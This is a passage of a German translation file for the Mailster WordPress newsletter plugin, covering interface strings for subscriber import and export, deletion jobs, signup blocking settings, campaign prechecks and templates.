views/setup/sending.php:16 msgid "The sender email address. Ask your subscribers to white label this email address." msgstr "Die Absender-E-Mail-Adresse. Bitte deine Abonnenten, diese E-Mail-Adresse in deren Adressbuch zu geben." #: classes/settings.class.php:283 msgid "Sorry, you are not allowed to signup with this domain." msgstr "Es tut uns leid, du darfst dich mit dieser Domain nicht anmelden." #: classes/settings.class.php:284 msgid "Sorry, your IP address has been blocked from signing up." msgstr "Es tut uns leid, deine IP-Adresse wurde für die Anmeldung gesperrt." #: classes/settings.class.php:285 msgid "Sorry, your country has been blocked from signing up." msgstr "Es tut uns leid, dein Land wurde für die Anmeldung gesperrt." #: classes/settings.class.php:282 msgid "Sorry, your email address is not accepted!" msgstr "Es tut uns leid, deine E-Mail-Adresse wird nicht akzeptiert!" #: views/settings/texts.php:68 msgid "Define texts for errors during signup defined on the security settings page." msgstr "Definiere Texte für Fehler bei der Anmeldung auf der Seite mit den Sicherheitseinstellungen." #: views/settings/texts.php:70 msgid "General Error" msgstr "Allgemeiner Fehler" #: views/settings/texts.php:71 msgid "SMTP/MX Check" msgstr "SMTP/MX-Prüfung" #: views/settings/texts.php:72 msgid "Blocked email address" msgstr "Gesperrte E-Mail Adresse" #: views/settings/texts.php:73 msgid "Blocked domain" msgstr "Gesperrte Domäne" #: views/settings/texts.php:74 msgid "Blocked IP" msgstr "Gesperrte IP" #: views/settings/texts.php:75 msgid "Blocked Country" msgstr "Gesperrtes Land" #: views/subscribers/detail.php:56 msgid "This subscriber is marked as deleted and will get permanently deleted in approx. %s." msgstr "Dieser Abonnent ist als gelöscht markiert und wird in ca. %s endgültig gelöscht." #: classes/manage.class.php:496 msgid "No Integration for %s found." msgstr "Keine Integration für %s gefunden." #: classes/manage.class.php:861 msgid "%s contacts were skipped because you've canceled the import." msgstr "%s Kontakte wurden übersprungen, weil du den Import abgebrochen hast." #: classes/manage.class.php:867 msgid "Following %s contacts were not imported" msgstr "Folgende %s Kontakte wurden nicht importiert" #: classes/manage.class.php:881 msgid "Import more Contacts" msgstr "Mehr Kontakte importieren" #: classes/manage.class.php:882 msgid "View your Subscribers" msgstr "Zeige deine Abonnenten" #: classes/manage.class.php:1414 msgid "The same job has been scheduled already (%s)." msgstr "Derselbe Auftrag wurde bereits geplant (%s)." #: classes/manage.class.php:1429 msgid "Job scheduled." msgstr "Job geplant." #: classes/manage.class.php:1462 msgid "Job deleted." msgstr "Job gelöscht." #: classes/manage.class.php:1581 msgid "No Importer for %s found." msgstr "Kein Importer für %s gefunden." #: classes/manage.class.php:1590 msgid "To import subscribers from %s you need an additional addon." msgstr "Um Abonnenten aus %s zu importieren, brauchst du ein zusätzliches Addon." #: classes/manage.class.php:1594 msgid "Activate Addon" msgstr "Addon aktivieren" #: classes/manage.class.php:1596 msgid "Install Addon" msgstr "Addon installieren" #: classes/manage.import.abstract.php:91 msgid "Please select the lists you like to import." msgstr "Bitte wähle die Listen aus, die du importieren möchtest." #: classes/manage.import.abstract.php:97 msgid "Please select the statuses you like to import." msgstr "Bitte wähle die Status aus, die du importieren möchtest." #: classes/manage.import.wordpress.php:67 msgid "Login" msgstr "Anmeldung" #: classes/manage.import.wordpress.php:69 msgid "User URL" msgstr "Benutzer-URL" #: classes/manage.import.wordpress.php:72 msgid "Roles" msgstr "Rollen" #: classes/notification.class.php:1112 msgid "%s Subscriber was marked for deletion" msgid_plural "%s Subscribers were marked for deletion" msgstr[0] "%s Abonnent wurde zur Löschung markiert" msgstr[1] "%s Abonnenten wurden zur Löschung markiert" #: classes/notification.class.php:1113 msgid "You can update these jobs on the %s." msgstr "Du kannst diese Jobs auf der %s aktualisieren." #: classes/notification.class.php:1113 msgid "Delete Subscribers page" msgstr "Seite Abonnenten löschen" #: classes/notification.class.php:1120 msgid "%1$s removed %2$s Subscriber." msgid_plural "%1$s removed %2$s Subscribers." msgstr[0] "%1$s hat %2$s Abonnenten entfernt." msgstr[1] "%1$s hat %2$s Abonnenten entfernt." #: classes/notification.class.php:1132 msgid "You can find these subscribers on the %s." msgstr "Du kannst diese Abonnenten auf der %s finden." #: classes/notification.class.php:1132 msgid "Deleted Subscribers page" msgstr "Seite \"Gelöschte Abonnenten" #: classes/notification.class.php:1183 msgid "%s other hidden" msgid_plural "%s others hidden" msgstr[0] "%s andere versteckte" msgstr[1] "%s andere versteckt" #: classes/subscribers.class.php:107 msgid "Add filters" msgstr "Filter hinzufügen" #: classes/subscribers.class.php:250 msgid "%d Subscribers permanently deleted." msgstr "%d Abonnenten dauerhaft gelöscht." #: classes/subscribers.class.php:257 msgid "%d Subscribers have been restored." msgstr "%d Die Abonnenten wurden wiederhergestellt." #: classes/subscribers.class.php:1959 msgid "Remove Meta" msgstr "Meta entfernen" #: classes/subscribers.class.php:1960 msgid "Remove Actions" msgstr "Aktionen entfernen" #: classes/subscribers.class.php:1961 msgid "Old Status" msgstr "Alter Status" #: classes/subscribers.class.php:4144 msgid "Deleted" msgstr "Gelöscht" #: classes/subscribers.table.class.php:117 msgid "These subscribers are marked as \"deleted\" and will be removed automatically after %d days at the earliest." msgstr "Diese Abonnenten sind als \"gelöscht\" markiert und werden frühestens nach %d Tagen automatisch entfernt." #: classes/subscribers.table.class.php:127 msgid "Clear Filters" msgstr "Filter löschen" #: classes/subscribers.table.class.php:266 msgid "confirmed %s ago" msgstr "bestätigt %s vor" #: classes/subscribers.table.class.php:332 msgid "Permanently Delete" msgstr "Dauerhaft löschen" #: classes/subscribers.table.class.php:333 msgid "Restore" msgstr "Wiederherstellen" #: classes/subscribers.table.class.php:393 msgid "Permanently remove all deleted Subscribers" msgstr "Alle gelöschten Abonnenten dauerhaft entfernen" #: includes/capability.php:216 msgid "restore subscribers" msgstr "Abonnenten wiederherstellen" #: classes/conditions.class.php:390 msgid "absolute" msgstr "absolut" #: classes/conditions.class.php:391 msgid "relative" msgstr "relativ" #: views/manage/clean-list-notice.php:2 msgid "Please make sure your lists are clean!" msgstr "Bitte stelle sicher, dass deine Listen \"sauber\" sind!" #: views/manage/clean-list-notice.php:4 msgid "Lists can contain many invalid email addresses after some time, and you may get into trouble sending to too many of them." msgstr "Listen können nach einiger Zeit viele ungültige E-Mail-Adressen enthalten, und du könntest Probleme bekommen, an zu viele von ihnen zu senden." #: views/manage/clean-list-notice.php:4 msgid "We recommend using a professional service upfront to verify your lists before you import them into Mailster." msgstr "Wir empfehlen, deine Listen vor dem Import in Mailster von einem professionellen Dienst überprüfen zu lassen." #: views/manage/clean-list-notice.php:6 msgid "We have partnered with %1$s, where you can get %2$s off on every purchase with the code %3$s." msgstr "Wir haben eine Partnerschaft mit %1$s geschlossen, bei der du mit dem Code %3$s einen Rabatt con %2$s auf jeden Einkauf bekommst." #: views/manage/clean-list-notice.php:7 msgid "Clear your list with %s" msgstr "Bereinige deine Liste mit %s" #: views/manage/delete.php:8 msgid "Which subscribers do you like to delete?" msgstr "Welche Abonnenten möchtest du löschen?" #: views/manage/delete.php:30 views/manage/export.php:54 msgid "Define conditions to segment your selection further." msgstr "Definiere Bedingungen, um deine Auswahl weiter zu segmentieren." #: views/manage/delete.php:47 msgid "This will remove all actions from the affected users as well which can change the stats of your campaigns." msgstr "Dadurch werden auch alle Aktionen der betroffenen Nutzer/innen entfernt, was die Statistiken deiner Kampagnen verändern kann." #: classes/automation.class.php:1097 views/manage/delete.php:50 msgid "Automation" msgstr "Automatisierung" #: views/manage/delete.php:55 msgid "Remove job" msgstr "Job entfernen" #: views/manage/delete.php:61 msgid "Mailster can perform this job on a regular basis to keep your list clean and healthy. Click this button to add a new job with the current settings." msgstr "Mailster kann diesen Job regelmäßig ausführen, um deine Liste sauber zu halten. Klicke auf diese Schaltfläche, um einen neuen Job mit den aktuellen Einstellungen hinzuzufügen." #: views/manage/delete.php:62 msgid "These jobs will run automatically." msgstr "Diese Aufträge werden automatisch ausgeführt." #: views/manage/delete.php:62 msgid "Deleted contacts will get marked as deleted first and will get permanently removed after %d days." msgstr "Gelöschte Kontakte werden zuerst als gelöscht markiert und nach %d Tagen endgültig entfernt." #: views/manage/delete.php:64 msgid "Schedule Delete Job" msgstr "Plane Job" #: views/manage/delete.php:78 msgid "You have no subscribers to delete!" msgstr "Du hast keine Abonnenten zu löschen!" #: views/manage/export.php:32 msgid "Which subscribers do you like to export?" msgstr "Welche Abonnenten möchtest du exportieren?" #: views/manage/export.php:70 msgid "Choose the status of your subscribes you like to export." msgstr "Wähle den Status deiner Abonnenten, den du exportieren möchtest." #: views/manage/export.php:107 msgid "Counter" msgstr "Zähler" #: views/manage/export.php:132 msgid "Drag and drop fields from the left column to the right and define the order by rearranging fields on the right." msgstr "Ziehe die Felder aus der linken Spalte nach rechts und lege die Reihenfolge fest, indem du die Felder auf der rechten Seite neu anordnest." #: views/manage/export.php:137 msgid "Header" msgstr "Kopfzeile" #: views/manage/export.php:137 msgid "Include Header in the output." msgstr "Kopfzeile in die Ausgabe einbeziehen." #: views/manage/export.php:217 msgid "Server Performance" msgstr "Server Leistung" #: views/manage/export.php:238 msgid "You have no subscribers to export!" msgstr "Du hast keine Abonnenten zu exportieren!" #: views/manage/import.php:2 msgid "Where do you like to import your subscribers from?" msgstr "Woher willst du deine Abonnenten importieren?" #: views/manage/import.php:6 msgid "Upload a CSV file" msgstr "Lade eine CSV-Datei hoch" #: views/manage/import.php:7 msgid "Paste the data from your spreadsheet app" msgstr "Füge die Daten aus deinem Tabellenkalkulationsprogramm ein" #: views/manage/import.php:8 msgid "Import from your WordPress Users" msgstr "Importiere von deinen WordPress-Benutzern" #: views/manage/import.php:9 msgid "Import from MailChimp" msgstr "Aus MailChimp importieren" #: views/manage/import.php:35 msgid "Importing Contacts" msgstr "Kontakte importieren" #: views/manage/import.php:40 msgid "Number of failed contacts" msgstr "Anzahl der gescheiterten Kontakte" #: views/manage/import.php:41 msgid "Current memory usage" msgstr "Aktuelle Speichernutzung" #: views/manage/import.php:42 msgid "Estimated time left" msgstr "Geschätzte verbleibende Zeit" #: views/manage/job.php:8 msgid "Delete all subscribers" msgstr "Alle Abonnenten löschen" #: views/manage/job.php:10 msgid "with a status of %s" msgstr "mit einem Status von %s" #: views/manage/job.php:14 msgid "assigned to lists %s" msgstr "zugeordnet zu den Listen %s" #: views/manage/job.php:18 msgid "and assigned to no list." msgstr "und keiner Liste zugewiesen." #: views/manage/job.php:26 msgid "remove actions" msgstr "Aktionen entfernen" #: views/manage/job.php:28 msgid "%1$s created this job on the %2$s" msgstr "%1$s hat diesen Job am %2$s erstellt" #: views/manage/method-paste.php:2 msgid "Copy and paste from your spreadsheet app. Mailster tries the guess the used formatting." msgstr "Kopiere aus deiner Tabellenkalkulation und füge sie ein. Mailster versucht, die verwendete Formatierung zu erkennen." #: views/manage/method-wordpress.php:3 msgid "Import your existing WordPress users here. You can define how Mailster should handle future users on the %s." msgstr "Importiere hier deine bestehenden WordPress-Benutzer. Du kannst festlegen, wie Mailster zukünftige Benutzer auf der %s behandeln soll." #: views/manage/method-wordpress.php:3 msgid "Settings page" msgstr "Einstellungen" #: views/manage/method-wordpress.php:6 msgid "WordPress users roles" msgstr "WordPress Benutzerrollen" #: views/manage/method-wordpress.php:7 msgid "Select the user roles you like to import." msgstr "Wähle die Benutzerrollen aus, die du importieren möchtest." #: views/manage/method-wordpress.php:24 msgid "Select the meta fields you like to import." msgstr "Wähle die Metafelder aus, die du importieren möchtest." #: classes/conditions.class.php:505 msgid "is older than" msgstr "ist älter als" #: classes/conditions.class.php:506 msgid "is younger than" msgstr "ist jünger als" #: classes/mailster.class.php:1610 classes/manage.class.php:109 msgid "Writing file: %1$s (%2$s)" msgstr "Schreiben Datei: %1$s (%2$s)" #: classes/mailster.class.php:1618 classes/manage.class.php:123 msgid "Export %s Subscribers" msgstr "Exportiere %s Abonnenten" #: classes/manage.class.php:104 msgid "%1$s of %2$s imported" msgstr "%1$s von %2$s importiert" #: classes/manage.class.php:105 msgid "%s errors" msgstr "%s Fehler" #: classes/manage.class.php:114 msgid "Do you really like to cancel this import?" msgstr "Willst du diesen Import wirklich abbrechen?" #: classes/manage.class.php:116 msgid "Give you custom field a name" msgstr "Gib deinem benutzerdefinierten Feld einen Namen" #: classes/manage.class.php:117 msgid "My Custom Field" msgstr "Mein benutzerdefiniertes Feld" #: classes/manage.class.php:120 msgid "Please define a name for this job!" msgstr "Bitte definiere einen Namen für diesen Job!" #: classes/manage.class.php:121 msgid "Do you like to delete this job?" msgstr "Willst du diesen Job löschen?" #: classes/manage.class.php:122 msgid "Job #%s" msgstr "Job #%s" #: classes/manage.class.php:124 msgid "Select at least one list!" msgstr "Wähle mindestens eine Liste aus!" #: classes/manage.class.php:125 msgid "Select at least one status!" msgstr "Wähle mindestens einen Status aus!" #: classes/manage.class.php:170 msgid "Your selection doesn't contain any subscriber" msgstr "Deine Auswahl enthält keine Teilnehmer" #: classes/manage.class.php:270 msgid "Timezone" msgstr "Zeitzone" #: classes/manage.class.php:271 msgid "Latitude" msgstr "Breitengrad" #: classes/manage.class.php:272 msgid "Longitude" msgstr "Längengrad" #: classes/manage.class.php:274 msgid "City" msgstr "Stadt" #: classes/manage.class.php:279 msgid "%s contact to import." msgid_plural "%s contacts to import." msgstr[0] "%s Kontakt zu importieren." msgstr[1] "%s Kontakte zu importieren." #: classes/manage.class.php:282 msgid "%s entry without valid email address has been removed." msgid_plural "%s entries without valid email address have been removed." msgstr[0] "%s Eintrag ohne gültige E-Mail-Adresse wurde entfernt." msgstr[1] "%s Einträge ohne gültige E-Mail Adresse wurden entfernt." #: classes/manage.class.php:285 msgid "Match column labels to contact information. Each column can represent one field. You can ignore columns which you like to skip." msgstr "Ordne die Spaltenbezeichnungen den Kontaktinformationen zu. Jede Spalte kann ein Feld darstellen. Du kannst Spalten, die du auslassen möchtest, ignorieren." #: classes/manage.class.php:297 msgid "Create new Field" msgstr "Neues Feld erstellen" #: classes/manage.class.php:362 msgid "%s total contacts" msgstr "%s Kontakte insgesamt" #: classes/manage.class.php:370 msgid "Lists can also be matched above." msgstr "Listen können auch oben abgeglichen werden." #: classes/manage.class.php:382 msgid "Assign following tags to these contacts" msgstr "Weisen Sie diesen Kontakten folgende Tags zu" #: views/settings/security.php:70 msgid "All above tests must still be passed." msgstr "Alle oben genannten Tests müssen auf jeden Fall bestanden werden." #: views/settings/security.php:67 msgid "Allowed Countries" msgstr "Erlaubte Länder" #: views/settings/security.php:59 msgid "Blocked Countries" msgstr "Gesperrte Länder" #: views/settings/security.php:69 msgid "Comma separated list of country codes to allow." msgstr "Kommagetrennte Liste der zuzulassenden Ländercodes." #: views/settings/security.php:61 msgid "Comma separated list of country codes to block." msgstr "Kommagetrennte Liste der zu blockierenden Ländercodes." #: views/settings/security.php:61 views/settings/security.php:69 msgid "Leave empty to allow signups from all countries." msgstr "Lass es leer, um Anmeldungen aus allen Ländern zuzulassen." #: views/settings/security.php:62 views/settings/security.php:70 msgid "Only use 2 digit country codes following the %s standard." msgstr "Verwende nur zweistellige Ländercodes nach dem %s Standard." #: views/settings/security.php:14 msgid "This prevents a signup from an IP if there's already a pending subscriber with the same IP address. Most bots signup with the same IP address so if this checked an additional signup can only be made once the previous email has been confirmed." msgstr "Verhindert ein Anmelden mit einer bestimmten IP Adresse wenn bereits ein noch nicht aktivier Abonnent mit der selben Adresse vorhanden ist. Die meisten Bots melden sich mit der selben Adresse an und diese Option verhindert ein weiteres Anmelden solange die vorherige nicht bestätigt wurde." #: classes/precheck.class.php:298 msgid "This service no longer available with the current Mailster version. Please update Mailster!" msgstr "Dieser Dienst ist mit der aktuellen version von Mailster nicht mehr verfügbar. Bitte aktualisiere Mailster!" #: views/addons/addon.php:33 views/templates/sample.php:78 #: views/templates/template.php:48 msgid "This template requires Mailster version %s or above. Please update first." msgstr "Dieses Template erfordert Mailster Version %s oder höher. Bitte aktualisiere zuerst das Plugin." #: views/settings/delivery.php:34 msgid "Throttle the throughput for the next" msgstr "Begrenze die Geschwindigkeit für die nächsten" #: views/newsletter/precheck.php:34 msgid "To" msgstr "An" #: classes/upgrade.class.php:62 msgid "To continue using Mailster we need some update on the database structure. Depending on the size of your database this can take a couple of minutes." msgstr "Um Mailster weiter nutzen zu können, müssen wir die Datenbankstruktur aktualisieren. Je nach Größe deiner Datenbank kann das ein paar Minuten dauern." #: views/newsletter/precheck.php:76 msgid "To use the precheck service you have to register the Mailster plugin on the dashboard" msgstr "Um den Precheck Service verwenden zu können musst du Mailster auf dem dashboard registrieren" #: views/newsletter/precheck.php:37 msgid "Toggle Images" msgstr "Bilder ein/ausblenden" #: views/newsletter/precheck.php:38 msgid "Toggle Structure" msgstr "Struktur ein/ausblenden" #: classes/addons.class.php:249 classes/templates.class.php:872 msgid "Updating..." msgstr "Aktualisieren..." #: views/templates.php:3 msgid "Upload Template" msgstr "Template hochladen" #: views/settings/security.php:7 msgid "Validate via SMTP" msgstr "SMTP Server überprüfen" #: views/addons/addon.php:78 msgid "View details" msgstr "Details anzeigen" #: views/settings/delivery.php:33 msgid "Warmup" msgstr "Warmup" #: classes/addons.class.php:361 classes/templates.class.php:1400 msgid "We are currently not able to handle your request. Please try again later." msgstr "Wir können die Anfrage zur Zeit nicht bearbeiten, Bitte probier es später noch einmal." #: classes/settings.class.php:281 msgid "We weren't able to check your email address." msgstr "Wir konnten deine E-Mailadresse nicht überprüfen." #: classes/precheck.class.php:193 classes/precheck.class.php:209 msgid "Words" msgstr "Wörter" #: classes/templates.class.php:875 msgid "You are about to delete file %1$s from template %2$s." msgstr "Du bist dabei die Datei %1$s vom Template %2$s zu löschen." #: classes/templates.class.php:876 msgid "You are about to make %s your default template." msgstr "%s als Standardtemplate festlegen?" #: classes/frontpage.class.php:419 classes/frontpage.class.php:420 msgid "You are being redirected..." msgstr "Sie werden weitergeleitet..." #: classes/settings.class.php:1091 msgid "You are trying to send %1$s mails per seconds (%2$s every %3$s)." msgstr "Du möchtest %1$s E-Mails in der Sekunde versenden (%2$s alle %3$s)." #: classes/settings.class.php:1088 msgid "You are trying to send %1$s mails per seconds (%2$s within %3$s) but your current throughput rate is %4$s mails per second." msgstr "Du versuchst, %1$s Mails pro Sekunde zu versenden (%2$s innerhalb von %3$s), aber deine aktuelle Durchsatzrate beträgt %4$s Mails pro Sekunde." #: classes/precheck.class.php:292 classes/precheck.class.php:306 msgid "You have hit the test limit. Please try again in %s." msgstr "Du hast die maximale Anzahl der möglichen Tests erreicht. Bitte probier es in %s wieder." #: classes/precheck.class.php:175 msgid "Your IP %1$s is blocked on %2$d %3$s:" msgstr "Deine IP %1$s ist auf %2$d %3$s geblockt:" #: classes/precheck.class.php:188 msgid "Your IP %s is currently not blocked." msgstr "Deine IP %s ist zur Zeit nicht geblockt." #: classes/precheck.class.php:294 msgid "Your license code is invalid." msgstr "Dein Lizenzcode ist nicht gültig." #: classes/settings.class.php:1246 msgid "Your server is not able to do a DNS lookup. MX check disabled." msgstr "Dein Server kann keinen DNS lookup machen. MX Check wurde deaktiviert." #: classes/settings.class.php:1255 msgid "Your server is not able to validate via SMTP. SMTP check disabled." msgstr "Dein Server kann keinen DNS lookup machen. SMTP Check wurde deaktiviert." #: classes/precheck.class.php:304 msgid "Your token is invalid!" msgstr "Dein Token ist ungültig!" #: includes/capability.php:277 msgid "add tags" msgstr "Tags hinzufügen" #: views/settings/delivery.php:7 msgid "automatically calculate this value." msgstr "automatisch berechnen" #: includes/capability.php:287 msgid "delete tags" msgstr "Tags löschen" #: classes/conditions.class.php:429 classes/conditions.class.php:465 msgid "doesn't contain" msgstr "beinhaltet nicht" #: classes/conditions.class.php:373 msgid "doesn't have Tag" msgstr "hat kein Tag" #: classes/conditions.class.php:437 classes/conditions.class.php:469 msgid "doesn't match regex pattern" msgstr "stimmt nicht mit Regex-Muster überein" #: includes/capability.php:282 msgid "edit tags" msgstr "Tags bearbeiten" #: classes/conditions.class.php:372 msgid "has Tag" msgstr "hat Tag" #: classes/campaigns.class.php:4582 msgid "has not clicked yet" msgstr "hat noch nicht geklickt" #: classes/precheck.class.php:52 msgid "info" msgstr "Info" #: views/newsletter/delivery.php:491 msgid "is triggered." msgstr "wurde ausgelöst." #: classes/precheck.class.php:175 msgid "list" msgid_plural "lists" msgstr[0] "Liste" msgstr[1] "Listen" #: views/settings/delivery.php:36 msgid "no warmup" msgstr "kein Warmup" #: classes/precheck.class.php:122 classes/precheck.class.php:181 msgid "open link" msgstr "Link öffnen" #: classes/campaigns.class.php:1027 msgid "starts right now" msgstr "startet jetzt gleich" #: classes/queue.class.php:1149 msgid "time frame settings" msgstr "Zeitfenstereinstellungen" #: views/newsletter/delivery.php:471 msgid "whenever the action hook" msgstr "immer wenn der action hook" #: views/settings/security.php:78 msgid "List domains which bypass the above rules. One domain each line." msgstr "Liste der Domains, die die oben genannten Regeln umgehen. Eine Domain pro Zeile." #: views/settings/security.php:53 msgid "List of blocked IP addresses. One expression each line." msgstr "Liste der gesperrten IP-Adressen. Ein Ausdruck pro Zeile." #: views/settings/security.php:46 msgid "List of blocked domains. One domain each line." msgstr "Liste der gesperrten Domains. Eine Domain pro Zeile." #: views/settings/security.php:39 msgid "List of blocked email addresses. One email each line." msgstr "Liste der blockierten E-Mail-Adressen. Eine E-Mail pro Zeile." #: classes/subscribers.class.php:141 msgid "Lists & Tags" msgstr "Listen & Tags" #: views/settings/advanced.php:4 msgid "Mailster Branding" msgstr "Mailster Branding" #: views/settings/delivery.php:46 msgid "Mailster can \"warmup\" your current delivery method. It will gradually increase your sending volume over the defined time frame. This will help you getting started with a new domain or if you have recently switched your email provider." msgstr "Mailster kann deine aktuelle Versandmethode \"aufwärmen\". Es erhöht dein Versandvolumen schrittweise über einen bestimmten Zeitraum. Das hilft dir beim Start mit einer neuen Domain oder wenn du deinen E-Mail-Anbieter kürzlich gewechselt hast." #: views/addons.php:14 msgctxt "add-ons" msgid "Membership" msgstr "Mitgliedschaft" #: views/newsletter/precheck.php:90 build/workflows/notification/index.js:1 msgid "Message" msgstr "Nachricht" #: views/settings/delivery.php:143 msgid "More Delivery Methods" msgstr "Mehr Vesandmethoden" #: views/settings/delivery.php:13 msgid "My email service provider let me send %1$s within %2$s hours." msgstr "Mein E-Mail-Anbieter lässt mich %1$s innerhalb von %2$s Stunden versenden." #: classes/ajax.class.php:1931 msgid "New default template!" msgstr "Neue Standardvorlage!" #: views/addons/addon.php:37 views/templates/template.php:54 msgid "New version available." msgstr "Neue Version verfügbar." #: classes/precheck.class.php:161 msgid "No Alt text found." msgstr "Kein Alt-Text gefunden." #: classes/tags.class.php:715 msgid "No Tags found!" msgstr "Keine Tags gefunden!" #: views/addons.php:66 msgid "No add-ons found. Try a different search." msgstr "Keine Add-ons gefunden. Versuche eine andere Suche." #: classes/conditions.class.php:1027 msgid "No lists available" msgstr "Keine Listen verfügbar" #: classes/conditions.class.php:1054 msgid "No tags available" msgstr "Keine Tags verfügbar" #: views/templates.php:87 msgid "No templates found. Try a different search." msgstr "Keine Vorlagen gefunden. Versuche eine andere Suche." #: classes/campaigns.class.php:432 msgid "Notifications" msgstr "Benachrichtigungen" #: views/settings/security.php:14 msgid "Only works if double-opt-in is enabled and the user is not logged in." msgstr "Funktioniert nur, wenn Double-opt-in aktiviert ist und der Benutzer nicht eingeloggt ist." #: classes/queue.class.php:1149 msgid "Please check the %s on the delivery tab." msgstr "Bitte überprüfe die %s bei den Versandeinstellungen." #: classes/campaigns.class.php:1793 msgid "Please check the checkbox first." msgstr "Bitte aktiviere zuerst das Kontrollkästchen." #: classes/upgrade.class.php:63 msgid "Please continue by clicking the button." msgstr "Bitte fahre fort, indem du auf die Schaltfläche klickst." #: classes/settings.class.php:1091 msgid "Please either lower the %s or increase the Cron Interval." msgstr "Bitte verringere entweder die %s oder erhöhe das Cron-Intervall." #: classes/settings.class.php:1088 msgid "Please either lower the %s or increase your Cron Interval." msgstr "Bitte verringere entweder die %s oder erhöhe dein Cron-Intervall." #: classes/form.class.php:974 msgid "Please leave the honeypot field empty." msgstr "Bitte lass das bestimmte Feld leer." #: classes/addons.class.php:275 msgid "Please make sure you have signed in to the account you have purchased the addon!" msgstr "Bitte vergewissere dich, dass du dich in dem Konto angemeldet hast, mit dem du das Addon gekauft hast!" #: views/newsletter/precheck.php:75 msgid "Please register the plugin first!" msgstr "Bitte registriere das Plugin zuerst!" #: classes/precheck.class.php:232 msgid "Please verify your Mailster license on the Dashboard!" msgstr "Bitte überprüfe deine Mailster-Lizenz auf dem Dashboard!" #: classes/security.class.php:106 msgid "Please wait %s for the next signup." msgstr "Bitte warte %s auf die nächste Anmeldung." #: classes/form.class.php:989 msgid "Please wait at least %d seconds before submitting the form." msgstr "Bitte warten Sie mindestens %d Sekunden, bevor Sie das Formular erneut abschicken." #: views/templates.php:18 msgctxt "templates" msgid "Popular" msgstr "Beliebt" #: classes/campaigns.class.php:1791 msgid "Precheck %s" msgstr "Precheck %s" #: views/newsletter/precheck.php:48 msgid "Precheck Campaign" msgstr "Precheck Kampagne" #: views/newsletter/precheck.php:67 msgid "Precheck Terms of Service." msgstr "Precheck Terms of Service." #: classes/campaigns.class.php:1717 msgid "Precheck finished!" msgstr "Precheck beendet!" #: views/newsletter/optionbar.php:23 msgid "Precheck your campaign" msgstr "Prüfe deine Kampagne vor dem Versand" #: views/settings/security.php:27 msgid "Prevent automated clicks from email servers." msgstr "Verhindere automatische Klicks von E-Mail-Servern." #: views/settings/security.php:20 msgid "Prevent repeated subscriptions from the same IP address for the given time frame." msgstr "Verhindere wiederholte Anmeldungen von der gleichen IP-Adresse für den angegebenen Zeitraum." #: classes/ajax.class.php:1648 classes/placeholder.class.php:1259 msgid "Read More" msgstr "Weiterlesen" #: classes/campaigns.class.php:1715 views/newsletter/precheck.php:85 msgid "Ready for Precheck!" msgstr "Bereit für den Precheck!" #: views/templates.php:20 msgctxt "templates" msgid "Recently Updated" msgstr "Kürzlich aktualisiert" #: views/settings/security.php:33 msgid "Reject email addresses from disposable email providers (DEP)." msgstr "Lehne E-Mail-Adressen von Wegwerf-E-Mail-Anbietern (DEP) ab." #: views/newsletter/test.php:12 msgid "Run Precheck" msgstr "Precheck ausführen" #: views/settings/security.php:76 msgid "Safe Domains" msgstr "Sichere Domains" #: views/templates.php:78 msgid "Save File" msgstr "Datei speichern" #: views/addons.php:26 views/addons.php:28 msgid "Search Add-ons" msgstr "Add-ons suchen" #: views/addons.php:19 msgid "Search Add-ons by" msgstr "Add-ons suchen nach" #: views/templates.php:32 views/templates.php:34 msgid "Search Templates" msgstr "Templates suchen" #: views/templates.php:25 msgid "Search Templates by" msgstr "Vorlagen suchen nach" #: views/addons.php:27 msgid "Search add-ons" msgstr "Add-ons suchen" #: views/newsletter/precheck.php:34 msgid "Search for subscribers..." msgstr "Suche nach Abonnenten..." #: views/templates.php:33 msgid "Search templates" msgstr "Vorlagen suchen" #: views/settings.php:36 views/settings/texts.php:68 msgid "Security" msgstr "Sicherheit" #. Description of the plugin #: mailster.php msgid "Send Beautiful Email Newsletters in WordPress." msgstr "Send Beautiful Email Newsletters in WordPress." #: views/settings/delivery.php:6 msgid "Send max %s emails in one batch." msgstr "Sende maximal %s E-Mails in einem Durchgang." #: views/newsletter/delivery.php:464 msgid "Send this auto responder" msgstr "Sende diesen Auto-Responder" #: classes/campaigns.class.php:1718 msgid "Sending your campaign." msgstr "Versende deine Kampagne." #: views/settings/advanced.php:6 msgid "Show Mailster Branding in your campaigns." msgstr "Zeige das Mailster Branding in deinen Kampagnen." #: views/addons.php:46 msgid "Show next addon" msgstr "Nächstes Addon anzeigen" #: views/templates.php:52 msgid "Show next template" msgstr "Nächste Vorlage anzeigen" #: views/addons.php:45 msgid "Show previous addon" msgstr "Vorheriges Addon anzeigen" #: views/templates.php:51 msgid "Show previous template" msgstr "Vorherige Vorlage anzeigen" #: views/addons.php:24 views/templates.php:30 msgid "Slug" msgstr "Slug" #: views/settings/security.php:27 msgid "Some Email Security Servers automatically click on one ore more links in your campaigns which can cause wrong open and click rates." msgstr "Einige E-Mail-Sicherheitsserver klicken automatisch auf einen oder mehrere Links in deinen Kampagnen, was zu falschen Öffnungs- und Klickraten führen kann." #: classes/settings.class.php:280 msgid "Sorry, you cannot signup with this email address." msgstr "Leider ist ein Anmelden mit diese E-Mailadresse nicht möglich." #: views/newsletter/precheck.php:111 msgid "Spam Report" msgstr "Spam-Bericht" #: views/newsletter/precheck.php:71 build/forms/form-wrapper/index.js:1 msgid "Submit" msgstr "Abschicken" #: classes/tags.class.php:57 msgid "Tag failed verification" msgstr "Tag nicht verifiziert" #: views/conditions/conditions.php:19 msgid "Tag related" msgstr "Tag bezogen" #: views/manage/export.php:89 msgid "Tagnames" msgstr "Tagbezeichnugen" #: views/forms/detail.php:365 msgid "Tags Options" msgstr "Tags Optionen" #: classes/templates.class.php:873 msgid "Template has been updated!" msgstr "Die Vorlage wurde aktualisiert!" #: views/templates.php:44 msgid "Template list" msgstr "Vorlagenliste" #: classes/templates.class.php:871 msgid "Template loaded!" msgstr "Vorlage geladen!" #: classes/precheck.class.php:267 classes/precheck.class.php:271 msgid "The Precheck service is currently not available. Please check back later." msgstr "Der Precheck-Service ist derzeit nicht verfügbar. Bitte schau später noch einmal nach." #: classes/campaigns.class.php:1720 msgid "The email was not sent. Please check your delivery settings and try again." msgstr "Die E-Mail wurde nicht gesendet. Bitte überprüfe deine Zustellungseinstellungen und versuche es erneut." #: views/newsletter/template.php:50 msgid "The template file for this campaign is missing. Make sure you have installed the correct template." msgstr "Die Vorlagendatei für diese Kampagne fehlt. Stelle sicher, dass du die richtige Vorlage installiert hast." #: classes/helper.class.php:974 msgid "The user updated the status via the profile page." msgstr "Der Nutzer hat den Status über die Profilseite aktualisiert." #: classes/ajax.class.php:1906 msgid "There was an error loading the template: %s" msgstr "Es 